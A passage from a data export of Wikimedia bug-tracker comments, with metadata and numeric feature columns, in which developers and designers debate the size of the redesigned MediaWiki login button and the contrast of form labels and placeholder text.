You can see a secondary button in Create account's [Join wikiname] button, which is mw-ui-button mw-ui-constructive (green in vector).

The mw-ui-vform style for compact vertical forms makes buttons within it into stacked full-width (display:block, width:100%) elements.  That is likely to be over-aggressive, e.g. a form with additional [Reset] and [Cancel] buttons will probably be overwhelming if they're all stacked.  Create account overrides full-width for its [Join {wikiname}] button. We'll learn more as other forms adopt the design.

https://www.mediawiki.org/wiki/Agora#Code.2C_status describes the implementation, it's nested inside a bigger ""Wikimedia Foundation Design"" plan that is unfortunately out-of-date in areas.",,,1367283762,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,False,,,-18,True,0.3333333333333333,0.0,0.0,0.0,0.0,9.666666666666666,1.3333333333333333,0.0,0.0,0.3333333333333333,2.6666666666666665,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,7.333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,5.333333333333333,0.6666666666666666,2.0,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,15.666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,4.333333333333333,2.3333333333333335,7.666666666666667,0.3333333333333333,0.3333333333333333,5.666666666666667,0.0,0.0,0.0,0.3333333333333333,3.0,0.0,0.3333333333333333,0.0,3.0,7.333333333333333,5.333333333333333,0.0,1.6666666666666667,0.0,3.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,2.6666666666666665,3.539587605377079,0.7427660059239006,"(In reply to comment #6)

QUOTE
QUOTE

mw-ui-button makes a gradient button, mw-ui-big gives it a large font, mw-ui-primary makes it blue (in the vector skin).  That set is what the ""Agora"" design suggests for the main (Call to action) submit button of a form

You can see a secondary button in Create account's [Join wikiname] button, which is mw-ui-button mw-ui-constructive (green in vector).

The mw-ui-vform style for compact vertical forms makes buttons within it into stacked full-width (display:block, width:100%) elements.  That is likely to be over-aggressive, e.g. a form with additional [Reset] and [Cancel] buttons will probably be overwhelming if they're all stacked.  Create account overrides full-width for its [Join {wikiname}] button. We'll learn more as other forms adopt the design.

URL describes the implementation, it's nested inside a bigger ""Wikimedia Foundation Design"" plan that is unfortunately out-of-date in areas."
209220,"""Log in"" button is oversized in redesigned user login form","https://en.m.wikipedia.org/wiki/Special:UserLogin is using a large log in button, though it appears this form was optimized for an iPhone.",,,1367250556,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,3.75,1.0,"URL is using a large log in button, though it appears this form was optimized for an iPhone."
209214,"""Log in"" button is oversized in redesigned user login form","I'm guessing this falls into the new design direction that WMF wants to go. If there is direction in the design strategy on when, where and why to use this 'bulky' form of a button, then I have little trouble with it.

I'd say just don't use it too much like that, it shouldn't become Fisher-Price here.",,,1367233208,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,False,,,-18,True,1.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,1.0,1.0,8.0,0.0,0.0,1.0,4.0,0.0,14.0,12.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,10.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,4.0,1.0,10.0,6.0,1.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,3.0,0.0,3.0,0.0,8.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,3.4444444444444446,0.7638888888888888,"I'm guessing this falls into the new design direction that WMF wants to go. If there is direction in the design strategy on when, where and why to use this 'bulky' form of a button, then I have little trouble with it.

I'd say just don't use it too much like that, it shouldn't become Fisher-Price here."
209210,"""Log in"" button is oversized in redesigned user login form","(In reply to comment #3)
> The buttons are not oversized. They seem that way because they are larger
> than other buttons in Vector or Monobook, but that does not mean it is wrong.

Well, button, not buttons. We're only discussing the ""Log in"" button. And if we can accept that every other button in the interface defines the ""normal"" size, then we can definitively say that this particular button is oversized.

It seems to be out-of-step with the rest of the MediaWiki interface and out-of-step with common practice on the Web.

It would be helpful to have examples of a log in button this large in another site's user interface. Here are some examples where the log in button is normal size:

* https://instagram.com/accounts/login/
* https://twitter.com/login
* https://myaccount.nytimes.com/auth/login
* https://secure.nordstrom.com/SignIn.aspx
* https://shop.wikimedia.org/account/login
* https://blog.wikimedia.org/wp-login.php
* https://mingle.corp.wikimedia.org/profile/login
* https://ticket.wikimedia.org/otrs/index.pl

I found one example of a site using an oversized log in button:

* http://www.wikia.com/Special:UserLogin

Perhaps there are others? Or perhaps only the designers at Wikia and the Wikimedia Foundation have studied Fitts' law.",,,1367189946,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,True,,,-18,True,1.0,0.0,0.0,0.0,0.5,4.5,2.5,0.0,0.0,0.5,4.0,1.0,0.0,1.0,0.5,2.0,0.5,5.0,12.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.5,4.0,1.0,1.0,1.5,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,6.0,3.0,14.5,2.0,2.0,8.5,0.0,0.0,0.0,0.5,3.0,0.0,1.0,0.0,3.0,12.0,8.5,0.5,2.5,0.0,3.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,3.447916666666667,0.59375,"(In reply to comment #3)
QUOTE
QUOTE

Well, button, not buttons. We're only discussing the ""Log in"" button. And if we can accept that every other button in the interface defines the ""normal"" size, then we can definitively say that this particular button is oversized.

It seems to be out-of-step with the rest of the MediaWiki interface and out-of-step with common practice on the Web.

It would be helpful to have examples of a log in button this large in another site's user interface. Here are some examples where the log in button is normal size:

* URL
* URL
* URL
* URL
* URL
* URL
* URL
* URL

I found one example of a site using an oversized log in button:

* URL

Perhaps there are others? Or perhaps only the designers at Wikia and the Wikimedia Foundation have studied Fitts' law."
209207,"""Log in"" button is oversized in redesigned user login form","Large targets are necessary so a user knows what the CTA is even when they squint at the interface:

This is driven by a quantitative science, known as 'Fitt's law'

Fitts' law (often cited as Fitts's law) is a model of human movement primarily used in human–computer interaction and ergonomics that predicts that the time required to rapidly move to a target area is a function of the distance to the target and the size of the target. 

Please Read : http://en.wikipedia.org/wiki/Fitts's_law",,,1367178111,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,1.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,3.0,1.0,1.0,0.0,1.0,1.0,19.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,12.0,5.0,9.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,12.0,4.0,0.0,3.0,0.0,1.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.88659793814433,0.6701030927835051,"Large targets are necessary so a user knows what the CTA is even when they squint at the interface:

This is driven by a quantitative science, known as 'Fitt's law'

Fitts' law (often cited as Fitts's law) is a model of human movement primarily used in human–computer interaction and ergonomics that predicts that the time required to rapidly move to a target area is a function of the distance to the target and the size of the target. 

Please Read : URL"
209203,"""Log in"" button is oversized in redesigned user login form","**swalling** wrote:

(In reply to comment #2)
> (In reply to comment #1)
> > This seems pretty subjective to me. Of course it's going to seem large
> > compared to the previous tiny button. The perception of ""normal"" is shaped by
> > what you're used to seeing Monobook [...]
> 
> Does Vector have oversized buttons elsewhere?

That is one of those ""How long have you been beating your wife?"" questions. 

The buttons are not oversized. They seem that way because they are larger than other buttons in Vector or Monobook, but that does not mean it is wrong. It is simply new, and that's because this is a redesign. In a redesign, some things are going to be different. 

Primary submit buttons of this larger size are a part of the designs we A/B test ed on create account, and they work.",,,1367175740,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,False,,,-18,True,1.0,0.0,0.0,0.0,1.5,5.5,5.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,7.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.5,1.0,1.5,2.5,1.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,2.0,0.0,0.0,0.5,13.0,3.5,1.0,0.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.5,6.5,10.5,2.0,3.0,9.0,0.0,0.0,0.0,0.5,2.0,0.0,1.0,0.0,5.0,7.5,5.5,0.5,1.0,0.0,5.0,0.0,0.5,2.5,0.0,1.5,1.5,0.0,0.0,3.4061510628674805,0.7369968340117594,"**swalling** wrote:

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That is one of those ""How long have you been beating your wife?"" questions. 

The buttons are not oversized. They seem that way because they are larger than other buttons in Vector or Monobook, but that does not mean it is wrong. It is simply new, and that's because this is a redesign. In a redesign, some things are going to be different. 

Primary submit buttons of this larger size are a part of the designs we A/B test ed on create account, and they work."
209198,"""Log in"" button is oversized in redesigned user login form","(In reply to comment #1)
> This seems pretty subjective to me. Of course it's going to seem large
> compared to the previous tiny button. The perception of ""normal"" is shaped by
> what you're used to seeing Monobook [...]

Does Vector have oversized buttons elsewhere?",,,1367174229,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,9.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.8181818181818182,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

Does Vector have oversized buttons elsewhere?"
209192,"""Log in"" button is oversized in redesigned user login form","**swalling** wrote:

This seems pretty subjective to me. Of course it's going to seem large compared to the previous tiny button. The perception of ""normal"" is shaped by what you're used to seeing Monobook, where all buttons are the same small size, and don't follow modern web usability patterns, like making primary targets larger than secondary actions. 

As far as comparing to other sites: yes, the minutiae of a design is going to vary widely from site to site. We look to best practices on other sites not to copy the size and exact style of their buttons, but as examples of what high-level patterns to follow. 

Making targets large and easy to hit on an interface like login, that you want to move through very quickly and go on to what you were doing, is a big help.",,,1367171644,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,False,,,-18,True,0.5,0.0,0.5,0.5,1.0,10.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.0,0.0,6.0,17.0,0.0,3.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,5.5,0.5,0.5,0.5,1.5,1.0,0.0,0.5,0.5,0.0,0.5,0.0,1.5,0.5,0.0,0.0,0.0,0.5,13.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.5,3.0,3.5,1.0,3.0,5.5,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,4.0,17.0,1.0,0.0,1.0,0.0,4.0,0.0,2.0,2.0,0.5,4.0,0.5,0.5,0.0,3.8095238095238093,0.7678571428571428,"**swalling** wrote:

This seems pretty subjective to me. Of course it's going to seem large compared to the previous tiny button. The perception of ""normal"" is shaped by what you're used to seeing Monobook, where all buttons are the same small size, and don't follow modern web usability patterns, like making primary targets larger than secondary actions. 

As far as comparing to other sites: yes, the minutiae of a design is going to vary widely from site to site. We look to best practices on other sites not to copy the size and exact style of their buttons, but as examples of what high-level patterns to follow. 

Making targets large and easy to hit on an interface like login, that you want to move through very quickly and go on to what you were doing, is a big help."
49777,Readability of login and signup forms in low contrast / low light could be improved,"We should explicitly investigate the appearance of the forms in low-light / low contrast environments and see if we could improve it. We could try making the placeholder text a bit darker, and ensure that the labels are darker than the placeholder text.

--------------------------
**Version**: 1.22.0
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=47698",Low,25.0,1367087160,1369947544.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,False,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_description,resolved,True,c2,1,False,False,True,-18,True,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,9.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,3.8684210526315788,0.631578947368421,"We should explicitly investigate the appearance of the forms in low-light / low contrast environments and see if we could improve it. We could try making the placeholder text a bit darker, and ensure that the labels are darker than the placeholder text.

--------------------------
**Version**: 1.22.0
**Severity**: minor
**See Also**:
URL"
208624,Readability of login and signup forms in low contrast / low light could be improved,Related URL: https://gerrit.wikimedia.org/r/66172 (Gerrit Change I01dd960d673a37d519ae8805db1fbbcb5a4306c9),,,1369948296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I01dd960d673a37d519ae8805db1fbbcb5a4306c9)
208618,Readability of login and signup forms in low contrast / low light could be improved,Related URL: https://gerrit.wikimedia.org/r/66164 (Gerrit Change I01dd960d673a37d519ae8805db1fbbcb5a4306c9),,,1369947139,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I01dd960d673a37d519ae8805db1fbbcb5a4306c9)
208612,Readability of login and signup forms in low contrast / low light could be improved,Related URL: https://gerrit.wikimedia.org/r/66047 (Gerrit Change I01dd960d673a37d519ae8805db1fbbcb5a4306c9),,,1369866194,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I01dd960d673a37d519ae8805db1fbbcb5a4306c9)
208605,Readability of login and signup forms in low contrast / low light could be improved,"By ""text color"" I meant the text of regular fields (e.g. input type text).",,,1369864639,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.210526315789474,0.8421052631578947,"By ""text color"" I meant the text of regular fields (e.g. input type text)."
208600,Readability of login and signup forms in low contrast / low light could be improved,"See also bug 47698, which is about Monobook issues.  The issue is more noticeable there, due to a slight background on the Monobook login screen.

They also noted that the button text is light in non-Vector skins, particularly given that it's overlaid on gray.  I already did a fix for that (not affecting text color).",,,1369864611,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.0,0.0,0.0,1.0,11.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,16.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,4.0,13.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,1.0,1.0,0.0,0.0,3.7857142857142856,0.7714285714285715,"See also bug 47698, which is about Monobook issues.  The issue is more noticeable there, due to a slight background on the Monobook login screen.

They also noted that the button text is light in non-Vector skins, particularly given that it's overlaid on gray.  I already did a fix for that (not affecting text color)."
208596,Readability of login and signup forms in low contrast / low light could be improved,"For future reference, WORKSFORME means the current behavior is correct (i.e. no change is required).",,,1369861640,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.0,0.0,5.0,0.0,16.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.526315789473684,0.9473684210526315,"For future reference, WORKSFORME means the current behavior is correct (i.e. no change is required)."
208592,Readability of login and signup forms in low contrast / low light could be improved,Approved from Design. Darken away!,,,1369861171,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Approved from Design. Darken away!
208588,Readability of login and signup forms in low contrast / low light could be improved,"Created attachment 12420
darker Agora labels in Ubuntu Firefox

Example of darker labels. I changed .mw-ui-vform > div label to color: #4A4A4A;

**Attached**: {F10330}",,,1369853240,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,7.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,3.5,0.8095238095238095,"Created attachment 12420
darker Agora labels in Ubuntu Firefox

Example of darker labels. I changed .mw-ui-vform > div label to color: #4A4A4A;

**Attached**: {F10330}"
208582,Readability of login and signup forms in low contrast / low light could be improved,"Created attachment 12419
default form appearance in Ubuntu Firefox

**Attached**: {F10329}",,,1369851695,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1,0.85,"Created attachment 12419
default form appearance in Ubuntu Firefox

**Attached**: {F10329}"
208577,Readability of login and signup forms in low contrast / low light could be improved,"In Firefox, from light to dark:

* The text field border is #C9C9C9
  This is $agoraGray in the Compass sass files from which we build the Agora CSS.

* placeholder text is #898989
  This isn't explicitly styled but it varies with the text input color, Firefox's rule is opacity: 0.54.

* label text is #7D7D7D
  I think this is darken($agoraGray, 30%) in sass

* text input is #252525
  This is $agoraTextColor in sass.

all on a #FFFFFF background.

I think the labels should be darker. darken($agoraGray, 50%) makes them #4a4a4a.  But I'm not a designer.",,,1369734728,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-14,True,0.5,0.0,0.0,0.5,1.0,0.5,0.5,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,2.5,0.0,2.5,5.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,9.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,18.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.0,6.0,9.5,0.0,1.0,7.0,0.0,0.0,0.0,4.0,0.5,0.0,4.0,0.0,4.0,5.0,4.0,0.0,0.0,0.0,4.0,0.0,0.5,1.5,0.5,0.0,0.5,0.0,0.0,3.529850746268657,0.6716417910447761,"In Firefox, from light to dark:

* The text field border is #C9C9C9
  This is $agoraGray in the Compass sass files from which we build the Agora CSS.

* placeholder text is #898989
  This isn't explicitly styled but it varies with the text input color, Firefox's rule is opacity: 0.54.

* label text is #7D7D7D
  I think this is darken($agoraGray, 30%) in sass

* text input is #252525
  This is $agoraTextColor in sass.

all on a #FFFFFF background.

I think the labels should be darker. darken($agoraGray, 50%) makes them #4a4a4a.  But I'm not a designer."
49698,User login and signup forms don't look great in Monobook,"Compare:

* http://piramido.wmflabs.org/wiki/Special:UserLogin?type=signup&useNew=1&useskin=monobook

* http://piramido.wmflabs.org/wiki/Special:UserLogin?type=signup&useNew=1&useskin=vector

The blue button is no longer blue. And there's a grey background with strange padding. Maybe some other quirks.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
